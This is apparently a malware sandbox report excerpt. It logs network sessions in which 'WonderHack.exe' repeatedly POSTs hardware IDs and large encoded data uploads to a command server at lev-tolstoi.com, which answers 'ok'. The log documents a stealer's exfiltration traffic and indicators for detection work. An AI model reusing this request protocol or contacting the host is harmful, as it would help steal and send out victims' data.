jFN7O57hZ7kOLM0hTvLdRJ5FdvV+sf0qADQNQkZrjSxtN9rf76WnGbpZuXV6Zu0lutAyBx4gbU/EsBymFy9NXHni/s9/1TdpGhm5EF6SjHQ+BRclrkCNWqHELTKWC4wMLedKe3uRZ7hOLM0jT/ON9E4U1rUewb1bdRD5U+bKWSk8hnu/DoGGXcpZjST6go3EXqXW5C6gvXqBhI0SdotNbP2XKv+/xRf5OmnZwe526bA+pDIAivLMOkHUyVMCWtk
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 72 37 37 63 4f 50 4c 79 70 67 70 63 51 2f 6d 7a 67 51 4f 4e 56 5a 30 61 76 45 75 66 70 55 55 37 50 62 7a 4f 4e 79 34 76 5a 65 2b 79 76 74 30 4e 37 6e 4b 57 4f 68 42 44 6b 50 39 35 4f 34 58 6c 76 56 2f 6b 4f 31 36 51 41 53 4a 6b 6b 5a 76 53 63 69 39 6c 76 37 4b 2b 33 65 58 75 4b 6f 62 75 52 42 75 46 75 6d 77 50 71 54 53 41 49 72 7a 4f 59 74 52 4a 52 31 69 42 36 69 70 4b 54 78 30 6e 73 2f 4f 46 52 62 4a 2b 30 6e 35 38 62 2b 52 43 56 47 37 6b 4a 4d 67 4b 39 58 38 66 6e 44 6e 36 62 62 32 72 30 69 76 4c 48 4e 37 71 33 72 77 51 79 33 4c 44 55 79 6c 65 76 4c 63 64 52 36 31 68 32 55 36 67 7a 35 6f 41 48 53 39 49 2f 62 4b 50 64 69 35 41 33 6f 37 65 76 62 7a 79 56 70 59 2b 44 41 65 55 2b 30 67 50 53 46 53 42 49 72 31 57 59 6b 68 4a 50 32 79 68 39 70 5a 2f 73 79 48 Data Ascii: r77cOPLypgpcQ/mzgQONVZ0avEufpUU7PbzONy4vZe+yvt0N7nKWOhBDkP95O4XlvV/kO16QASJkkZvSci9lv7K+3eXuKobuRBuFumwPqTSAIrzOYtRJR1iB6ipKTx0ns/OFRbJ+0n58b+RCVG7kJMgK9X8fnDn6bb2r0ivLHN7q3rwQy3LDUylevLcdR61h2U6gz5oAHS9I/bKPdi5A3o7evbzyVpY+DAeU+0gPSFSBIr1WYkhJP2yh9pZ/syH
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 61 48 32 52 72 64 69 63 48 4f 67 70 78 56 58 32 46 32 68 54 39 52 66 6d 6d 54 70 4e 30 79 68 78 73 39 54 74 2f 6a 66 69 74 2f 67 57 4a 4b 58 69 33 4e 49 6f 70 6d 37 4e 41 37 55 62 56 56 50 68 41 39 2b 78 41 41 7a 39 44 46 47 4f 6b 4f 66 5a 59 75 37 44 38 45 5a 74 6c 36 2b 59 30 6c 6d 6f 4b 4a 55 62 76 52 55 67 56 50 35 4e 67 50 64 44 47 6f 42 38 50 4f 53 41 31 4a 42 75 37 4f 47 33 44 69 37 53 34 6f 62 53 54 36 68 70 31 6c 48 2f 58 57 4e 47 37 45 72 6d 6d 54 5a 50 30 69 35 39 70 4d 58 45 34 45 6d 35 39 50 6c 59 65 34 71 7a 31 4e 78 58 35 32 36 4e 65 71 30 54 49 47 2b 68 54 63 44 6e 53 51 48 67 4c 47 57 36 31 64 33 50 4f 6f 76 35 38 46 64 71 6a 4c 57 62 30 6c 6d 6f 4b 4a 55 62 76 78 55 67 56 50 35 4e 67 50 64 44 47 6f 42 38 50 4f 53 41 31 4a 42 75 37 4f 47 Data Ascii: aH2RrdicHOgpxVX2F2hT9RfmmTpN0yhxs9Tt/jfit/gWJKXi3NIopm7NA7UbVVPhA9+xAAz9DFGOkOfZYu7D8EZtl6+Y0lmoKJUbvRUgVP5NgPdDGoB8POSA1JBu7OG3Di7S4obST6hp1lH/XWNG7ErmmTZP0i59pMXE4Em59PlYe4qz1NxX526Neq0TIG+hTcDnSQHgLGW61d3POov58FdqjLWb0lmoKJUbvxUgVP5NgPdDGoB8POSA1JBu7OG
2024-12-22 23:49:14 UTC	1369	IN	Data Raw: 4b 2b 62 6c 56 58 49 4b 63 4e 41 72 52 55 67 58 4b 39 56 6d 4b 59 62 55 64 67 67 62 50 6a 56 30 64 6b 33 34 72 66 35 46 69 54 63 6f 35 36 43 47 75 63 70 6d 55 58 6a 56 53 42 50 6f 52 53 59 73 56 45 5a 68 6d 45 72 70 70 4b 54 6e 6a 43 76 35 65 56 51 66 34 71 68 30 36 77 70 78 54 7a 53 55 2b 34 5a 55 56 33 72 47 38 32 6b 41 55 62 72 45 55 61 6d 31 64 76 64 4e 5a 33 68 39 46 5a 79 6d 2b 4c 61 30 67 2b 6f 64 70 56 75 2f 31 78 77 55 36 39 44 6d 4b 74 52 47 5a 55 69 65 62 50 43 79 4a 4a 77 74 76 43 33 53 54 4b 46 34 6f 4c 53 54 37 74 67 6c 56 47 74 41 79 41 58 34 51 44 5a 70 42 39 43 78 7a 31 74 74 38 54 49 6d 55 6d 53 32 75 56 52 62 4a 2f 67 70 5a 38 54 2f 6a 76 57 55 2b 70 6c 58 6e 33 39 43 73 69 6b 55 32 33 53 49 6d 65 4b 37 50 7a 50 63 4c 79 31 30 56 56 71 Data Ascii: K+blVXIKcNArRUgXK9VmKYbUdggbPjV0dk34rf5FiTco56CGucpmUXjVSBPoRSYsVEZhmErppKTnjCv5eVQf4qh06wpxTzSU+4ZUV3rG82kAUbrEUam1dvdNZ3h9FZym+La0g+odpVu/1xwU69DmKtRGZUiebPCyJJwtvC3STKF4oLST7tglVGtAyAX4QDZpB9Cxz1tt8TImUmS2uVRbJ/gpZ8T/jvWU+plXn39CsikU23SImeK7PzPcLy10VVq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49777	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:16 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=38YTQXSPNP1CBN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18146 Host: lev-tolstoi.com
2024-12-22 23:49:16 UTC	15331	OUT	Data Raw: 2d 2d 33 38 59 54 51 58 53 50 4e 50 31 43 42 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 45 34 30 33 41 36 42 45 32 38 32 44 44 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 33 38 59 54 51 58 53 50 4e 50 31 43 42 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 38 59 54 51 58 53 50 4e 50 31 43 42 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 33 Data Ascii: --38YTQXSPNP1CBNContent-Disposition: form-data; name="hwid"F58E403A6BE282DD37CB803551D62973--38YTQXSPNP1CBNContent-Disposition: form-data; name="pid"2--38YTQXSPNP1CBNContent-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--3
2024-12-22 23:49:16 UTC	2815	OUT	Data Raw: 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!w
2024-12-22 23:49:17 UTC	1135	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62te2a48f8l8vue7jlco70aknq; expires=Thu, 17 Apr 2025 17:35:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XxOP1HeL0GVTgNe%2FnXjsqGyLwFZllYIcvlDP%2FM%2FohRqN9cwLA9Stw%2Bs%2F2Nwu64eVydIKh53i5xIlQ3lWA%2BetGWMf3mU6dNb%2B71F9oFtS9MYMbnHvlL4ueH3G5q42z6AGOUE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6401e8fde43314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1808&min_rtt=1807&rtt_var=680&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19103&delivery_rate=1607044&cwnd=207&unsent_bytes=0&cid=2f69cdba9630a2f6&ts=946&x=0"
2024-12-22 23:49:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 23:49:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49784	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:18 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AF7HU3P5H1T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8749 Host: lev-tolstoi.com
2024-12-22 23:49:18 UTC	8749	OUT	Data Raw: 2d 2d 41 46 37 48 55 33 50 35 48 31 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 45 34 30 33 41 36 42 45 32 38 32 44 44 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 41 46 37 48 55 33 50 35 48 31 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 46 37 48 55 33 50 35 48 31 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 41 46 37 48 55 33 50 35 48 31 Data Ascii: --AF7HU3P5H1TContent-Disposition: form-data; name="hwid"F58E403A6BE282DD37CB803551D62973--AF7HU3P5H1TContent-Disposition: form-data; name="pid"2--AF7HU3P5H1TContent-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--AF7HU3P5H1
2024-12-22 23:49:19 UTC	1124	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ui8fi04rj17u78fvd07qpnhukd; expires=Thu, 17 Apr 2025 17:35:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EGIewKP1WbBvD3bX4WJdbceENWFuXPuiJx91LCscq5dNvS6Oze8ZyuAROojsecOhWVGRt8muI40Hg%2BrJfFRYN%2FOxD7HrdianWjLuiBMaIQopUKDSVkkw1njcMJmaB9nfRNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6401f70bdf0f73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1550&rtt_var=623&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9680&delivery_rate=1883870&cwnd=233&unsent_bytes=0&cid=c7923d92f7e8becd&ts=1103&x=0"
2024-12-22 23:49:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 23:49:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49793	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:20 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D4D6LD3A1MO86BTXG0I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20450 Host: lev-tolstoi.com
2024-12-22 23:49:20 UTC	15331	OUT	Data Raw: 2d 2d 44 34 44 36 4c 44 33 41 31 4d 4f 38 36 42 54 58 47 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 45 34 30 33 41 36 42 45 32 38 32 44 44 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 44 34 44 36 4c 44 33 41 31 4d 4f 38 36 42 54 58 47 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 34 44 36 4c 44 33 41 31 4d 4f 38 36 42 54 58 47 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 Data Ascii: --D4D6LD3A1MO86BTXG0IContent-Disposition: form-data; name="hwid"F58E403A6BE282DD37CB803551D62973--D4D6LD3A1MO86BTXG0IContent-Disposition: form-data; name="pid"3--D4D6LD3A1MO86BTXG0IContent-Disposition: form-data; name="lid"LPnhqo--yb
2024-12-22 23:49:20 UTC	5119	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-22 23:49:21 UTC	1127	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0m7ldpc0nrrin5nklv9e4fjmmc; expires=Thu, 17 Apr 2025 17:36:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YlzRlSk%2BBys9kSIViYF3GrU76dLpUIldUZjmspRDtqqIKvSgP3Zd%2BGMSoNg2irrSsrGcYV2rLiEX2Iv7b%2FT2RCmyrjoZ6SphKq2lbIllZvdeJj0VMf6Aqx5VxYffqerRzSE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f640206fac90f80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1495&min_rtt=1478&rtt_var=590&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21412&delivery_rate=1801357&cwnd=207&unsent_bytes=0&cid=ae363558c3b0f773&ts=973&x=0"
2024-12-22 23:49:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 23:49:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49800	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:23 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SBUV6UEUOZ0XP5Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1225 Host: lev-tolstoi.com
2024-12-22 23:49:23 UTC	1225	OUT	Data Raw: 2d 2d 53 42 55 56 36 55 45 55 4f 5a 30 58 50 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 45 34 30 33 41 36 42 45 32 38 32 44 44 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 53 42 55 56 36 55 45 55 4f 5a 30 58 50 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 42 55 56 36 55 45 55 4f 5a 30 58 50 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a Data Ascii: --SBUV6UEUOZ0XP5QContent-Disposition: form-data; name="hwid"F58E403A6BE282DD37CB803551D62973--SBUV6UEUOZ0XP5QContent-Disposition: form-data; name="pid"1--SBUV6UEUOZ0XP5QContent-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp
2024-12-22 23:49:24 UTC	1124	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lpmsa94bs633ehrpmo5c6ugg9g; expires=Thu, 17 Apr 2025 17:36:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BTWq4gz5C%2FVwn1Ql1FVcrZwtjPssG49w%2BUXfwMlFK4ELWZLcRfJssizUepOlzdBCtI7mKsRD2f6kKogBX6pbKY5IvImFSzk7L6ASIJY3KR%2BthEgHYCUF2zN82cJbIjemZrY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f640217fb54430f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1586&rtt_var=619&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2138&delivery_rate=1732937&cwnd=214&unsent_bytes=0&cid=0adfd5c490e226fd&ts=813&x=0"
2024-12-22 23:49:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-22 23:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49806	104.21.66.86	443	3696	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 23:49:26 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WQKZ4A7CKB5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587715 Host: lev-tolstoi.com
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 2d 2d 57 51 4b 5a 34 41 37 43 4b 42 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 38 45 34 30 33 41 36 42 45 32 38 32 44 44 33 37 43 42 38 30 33 35 35 31 44 36 32 39 37 33 0d 0a 2d 2d 57 51 4b 5a 34 41 37 43 4b 42 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 51 4b 5a 34 41 37 43 4b 42 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 57 51 4b 5a 34 41 37 43 4b 42 Data Ascii: --WQKZ4A7CKB5Content-Disposition: form-data; name="hwid"F58E403A6BE282DD37CB803551D62973--WQKZ4A7CKB5Content-Disposition: form-data; name="pid"1--WQKZ4A7CKB5Content-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--WQKZ4A7CKB
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 01 16 88 04 b0 1b b7 69 2a 8d 76 68 07 ac 98 b3 d9 57 69 17 81 8d 56 d4 ca 7e e8 31 ea 9d 76 66 e7 13 97 58 15 a4 d7 55 bf fd 7f 1b 8c 90 cb 35 40 ff d0 0a 66 70 20 c6 84 9a cb 46 0a 4e 10 88 30 0d 6b 8d d1 58 8f 78 56 1e c5 53 04 b5 b9 9b 12 78 30 12 de e2 a1 d8 b7 59 42 cc 83 92 dd 02 c0 26 31 dd de 0d 07 1a e5 16 ae 98 a0 a3 44 9e db 97 40 b2 ca 30 55 64 bb 48 83 e6 bd f1 29 25 24 f6 8b 31 4b a8 43 92 ee b0 09 45 0e 0e c4 bf fc 3d ae cc 9d d0 8c a3 56 9a c9 a8 f7 c3 d2 5d 45 c0 d2 85 3b 59 54 8c 29 3c 8f 99 a3 a4 6e 35 fa 3a cb b1 eb 1c 08 9b c4 15 b9 ea 8d 3a 93 11 1f 5b 69 2a 99 99 81 85 c5 97 35 a6 de 2e 01 ef 3d 34 2d b4 3f 1f 98 fc 89 5e d8 20 04 18 3d 30 0f 2c 92 b3 86 c8 23 75 35 5f 13 bf 72 47 8c 5d df f5 93 78 e7 df 27 68 f0 c4 a2 b6 3e 08 26 Data Ascii: ivhWiV~1vfXU5@fp FN0kXxVSx0YB&1D@0UdH)%$1KCE=V]E;YT)<n5::[i5.=4-?^ =0,#u5_rG]x'h>&
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: f8 0f 41 7f db 7a a1 e6 12 ac a1 21 7d 32 52 7e a4 3a 06 2c a5 d0 88 c3 d2 43 e9 66 77 65 8e c2 6b c6 a1 66 b1 44 4f 1c 19 b3 a0 73 bd f1 93 de 4c 98 52 9b 19 ec df 62 14 b5 f2 1d 1b e5 e9 bd e1 31 40 b2 67 fc 14 3d 69 ed 2a 13 e4 bd 87 3c 37 f4 34 82 fc 53 c0 ce 93 5f 35 5b 69 23 c3 d3 62 7c 7b c8 f8 a5 a5 45 88 a3 00 fe 00 e7 b9 e4 f6 a9 57 cd 5f e4 18 b0 bf d7 7c 4f 4f d0 d4 cc b9 c8 8c b9 8f 9a 48 bc 3f 29 dd f1 3b 1e 45 6c 7e 56 fd 73 bd 49 8a a1 cc 69 bb 43 34 0b fc b1 d6 78 96 80 aa fd cb b6 f9 ab 62 7d e0 5e f6 70 aa d3 2a 69 a4 01 35 76 19 58 44 53 f1 33 f8 65 c9 5f 45 c4 33 4e f6 33 f2 43 0a 69 56 d4 6c 38 7e 30 9a f5 c0 83 a6 82 aa 31 8a f0 be ea b9 85 1f bb 9c df aa 0d 7a a5 42 a5 17 2f 64 bb 2a 56 5f 9d 3b cc 34 ae ad e6 95 e9 b8 86 32 2d e1 Data Ascii: Az!}2R~:,CfwekfDOsLRb1@g=i<74S_5[i#b\|{EW_\|OOH?);El~VsIiC4xb}^pi5vXDS3e_E3N3CiVl8~01zB/d*V_;42-
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: dc 60 1a 2d 08 80 bb 01 25 07 3f f4 2b 70 70 50 fb 61 38 85 d6 d7 1a 91 ee f3 d0 b1 37 2b b3 73 b7 ac 87 a5 85 5b cf 78 33 1d 38 8f 04 bf ab c6 8c 3a 8f fc a3 54 c9 5e 9f ba 34 87 f5 19 a4 dd 6c 1d 32 7b 70 98 7b 77 af 40 9e 2e 02 fb c8 88 c4 75 be cc 50 fb 20 77 94 03 63 a7 41 b6 ee 90 ff 35 61 b0 70 56 10 2c 87 b1 77 02 87 3e 71 3b 63 88 a0 9f c3 aa d9 e7 eb f7 06 9c c5 4c d7 0f 08 39 46 58 6e 84 ec 7a 08 26 76 1c 1b c2 b1 2e 66 fc 6b f7 95 ca 61 d2 57 59 9f 49 1d bd 76 d9 f1 8f 84 d9 c1 d0 d7 44 f2 a4 bf 74 6c 45 f4 01 54 f1 ac 7f ac 9b bc c1 8f 3d 6f 4d f0 85 61 d6 ca 20 99 ac ad 7c f3 9f 8c 37 